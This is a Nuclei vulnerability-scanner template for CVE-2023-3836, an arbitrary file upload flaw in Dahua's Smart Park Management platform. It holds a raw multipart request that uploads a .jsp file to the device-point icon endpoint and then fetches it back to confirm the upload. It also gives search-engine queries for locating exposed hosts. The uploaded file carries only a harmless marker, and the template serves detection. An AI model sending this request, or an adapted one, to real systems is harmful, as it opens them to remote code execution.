nuclei-templates/http/cves/2023/CVE-2023-3836.yaml

id: CVE-2023-3836

info:
  name: Dahua Smart Park Management - Arbitrary File Upload
  author: HuTa0
  severity: high
  description: |
    Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
  reference:
    - https://github.com/qiuhuihk/cve/blob/main/upload.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
  classification:
    cve-id: CVE-2023-3836
  metadata:
    max-request: 2
    shodan-query: html:"/WPMS/asset"
    verified: true
    zoomeye-query: /WPMS/asset
  tags: cve,cve2023,dahua,fileupload,intrusive,rce

variables:
  random_str: "{{rand_base(6)}}"
  match_str: "{{md5(random_str)}}"

http:
  - raw:
      - |
        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Host: {{Hostname}}

        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: binary

        {{match_str}}
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

      - |
        GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, '{{match_str}}')"
        condition: and

    extractors:
      - type: regex
        name: shell_filename
        internal: true
        part: body_1
        regex:
          - 'ico_res_(\w+)_on\.jsp'